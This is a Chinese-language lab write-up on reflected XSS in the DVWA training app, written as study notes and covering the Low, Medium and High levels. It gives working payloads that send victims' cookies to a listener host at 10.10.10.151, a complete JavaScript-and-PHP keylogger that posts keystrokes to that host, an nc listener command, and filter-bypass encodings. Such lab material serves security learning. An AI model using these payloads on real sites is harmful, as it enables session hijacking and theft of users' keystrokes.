通過DVWA學習反射型XSS漏洞
XSS漏洞型別:
反射型(非持久):主要用於將惡意程式碼附加到URL地址的引數中,常用於竊取客戶端cookie資訊和釣魚欺騙。
儲存型(持久型):攻擊者將惡意程式碼注入到Web伺服器中並儲存起來,只要客戶端訪問了相應的頁面就會受到攻擊。
DOM型:利用瀏覽器的DOM特性,不是向瀏覽器發請求而是直接通過在本地執行從而修改或竊取本地的資訊。
使用場景:
直接嵌入html<script>標籤中
元素標籤事件<body onload=alert(‘xss’)>
圖片標籤<img>
框架標籤<iframe>
DOM物件Low級:
檢測:
最基本的檢測方法是先輸入資料提交,看返回的內容是不是還是原來的內容,若是則很大可能存在漏洞。有時候返回的網頁資訊可能沒有顯示原來輸入的內容,但是可以通過檢視網頁原始碼可以檢視輸入的內容有沒有注入到網頁的html程式碼中,若有則也明視訊記憶體在XSS反射型漏洞。
<script>alert('xss')</script>
<a href=https://www.baidu.com>click</a>
<a href=’’ onclick=alert('xss')>type</a>
去相應的網站訪問不到相應的圖片檔案時就報錯彈窗:
<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>在DVWA中輸入任何內容都會得到原來的內容,直接提交JS程式碼<script>alert('xss')</script>可見直接回彈框顯示xss:
至於為何能夠執行程式碼可以用Burpsuite抓包來看一下:
GET方法將js程式碼的一些空格等符號進行url編碼然後一同放在URL上提交給伺服器。
在伺服器返回的頁面中,正如測試時的一樣,將原來的內容原封不動地返回,可以看到輸入的js程式碼在返回頁面的html程式碼中,而js程式碼是可以嵌入在html程式碼中執行的,其中嵌入的是一個alert()彈窗功能的函式,因而彈窗出來顯示xss。
檢視原始碼:
<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>'; } ?>
進入程式碼層面看,可以看到沒有對儲存輸入內容的name變數進行任何的過濾檢測就提交併直接顯示出來。
利用:
重定向:
<script>window.location='https://www.baidu.com'</script>
<iframe SRC="http://www.sina.com" height="0" width="0"></iframe>
利用DOM特性來讀取cookie值:
先用Kali監聽80埠:
nc -vnlp 80
若80埠被佔用,先檢視是什麼程式佔用埠:
netstat -pantu | grep :80
然後用kill命令終止當前的程式即可:
輸入以下JS程式碼來獲取當前使用者的cookie資訊:
<script>new Image().src="http://10.10.10.151/c.php?output="+document.cookie;</script>
直接在監聽端看到cookie資訊:
利用DOM的body插入HTML程式碼,實現對頁面的篡改:
<script>document.body.innerHTML="<div style=visibility:visible;><h1>嘻嘻^_^</h1></div>";</script>
為防止程式碼過長將其儲存為一個js檔案放在第三方的伺服器中讓客戶端去訪問:
a.js:
var img=new Image();
img.src="http://10.10.10.151:88/c.php?cookie="+document.cookie;
將a.js放在第三方伺服器win2k3 sever(IP為10.10.10.144)的www根目錄下,在Kali中監聽88埠,再在Ubuntu中輸入:
<script src=http://10.10.10.144/a.js></script>
可在Kali中獲取到Ubuntu客戶端的cookie資訊:
利用實現鍵盤記錄:
在Kali的網頁根目錄下儲存Keylogger.js檔案:
document.onkeypress=function(evt){
evt=evt || window.event
key=String.fromCharCode(evt.charCode)
if(key){
var http=new XMLHttpRequest();
var param=encodeURI(key);
http.open("POST","http://10.10.10.151/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
訪問一下確保可行:
接著就是將keylogger.php檔案也儲存在同一個目錄來是實現將鍵盤得到記錄儲存到本地的keylog.txt檔案中,即將接受到的key引數的取值儲存到該檔案中:
keylogger.php:<?php
$key=$_POST['key'];
$logfile='keylog.txt';
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
接著建立一個空的keylog.txt檔案,然後賦予相應的可寫的許可權,這裡為了方便就將許可權賦給所有的使用者:
chmod 777 keylog.txt
接著在Kali中開啟的DVWA中輸入:
<script src="http://10.10.10.151/Keylogger.js"></script>
然後在該網頁中隨意輸入內容,檢視keylog.txt檔案可看到記錄了下來:
繞過XSS Filter的構造測試:
利用<>標記注入HTML或JS:
<script>alert(‘xss’)</script>
利用HTML標籤屬性值執行XSS:
很多的HTML標記中的屬性都支援javascript:[code]偽協議的形式
<img src=”javascript:alert('xss');”>
空格回車TAB:
空白不會影響JS語句的在正常執行
<img src=”javas cript:alert('xss')” width=100>
對標籤屬性值進行轉碼:
HTML屬性值本身是支援ASCII碼形式的
<img src=”javascript:alert('xss')” width=100>
其中t的ASCII碼值為116,用“t”來表示,而冒號:的ASCII值為58。
另外,Tab符的ASCII碼為	、換行符的為
、回車符的為
可以被插入到程式碼的任何地方中去。
還可以將、等字元插入到JavaScript的頭部中。
產生自己的事件:
事件是使用者或瀏覽器自身執行的某個動作,如Click等
<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>
onerror是img標籤的一個事件,只要頁面發生錯誤就會啟用相應的事件。
除此之外還有各種事件,如:onResume、onfinish、onstop、onReverse等等。
利用CSS跨站剖析:
CSS是XSS的另一個載體,程式碼通常是嵌入到style標籤/屬性中的。
缺點是個瀏覽器之間不能通用。
擾亂過濾規則:
轉換大小寫,順序可以隨意
雙引號與單引號互換
不使用引號
/**/註釋符號
內嵌
字元編碼:
可以對程式碼進行十進位制編碼(&#),可以在每個十進位制字元後面加上分號;,也可以採用�、�;等的形式。
JS中的eval()函式,用於計算字串並執行其中的JS程式碼。可以使用\連線十六進位制字串形式的指令碼讓eval()函式來執行,如
<script>eval(“\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29”);</script>
也可以讓其執行十進位制形式的指令碼,但需要和String.fromCharCode()函式一起使用、實現將字元轉為ASCII值,如<img src=”javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))”>
在利用CSS中,可以對style中的屬性進行十六進位制的編碼來繞過。
Shellcode的呼叫:
簡單地說,Shellcode是指對一個漏洞進行利用的程式碼。
動態呼叫遠端JS:
將shellcode儲存在其他伺服器中,然後再用<script>標籤來動態載入。除此之外,還可以通過基於DOM的方法建立和插入結點,把程式碼注入到網頁中。這兩種方式在利用中都有相應的演示。
使用window.location.hash:
即DOM型。location是JS管理位址列的內建物件,location.hash則是用來獲取或設定頁面的標籤值。相關的簡單的利用已有示例,至於DOM型的XSS會有進一步的筆記。
Medium級:
檢視原始碼: <?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>
程式碼中呼叫了str_replace()函式,其中將含有”<script>”的字串都替換成空字串。
這樣利用方法有很多,比如可以轉換”<script>”中一些字元的大小寫<Script>、內嵌字串<scr<script>ipt>、不使用<script>標籤而是用其他標籤如<img>等等,這裡就不再演示。High級別:
檢視原始碼: <?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>
程式碼中呼叫了htmlspecialchars()函式,其中將輸出的內容進行HTML的編碼,即無論是什麼字元都會被編碼為html編碼從而具有很強的過濾效果,目前暫時無法找到方法繞過。
今天就總的看了XSS和反射型XSS的相關知識,下面會繼續補充儲存型XSS和DOM型的XSS~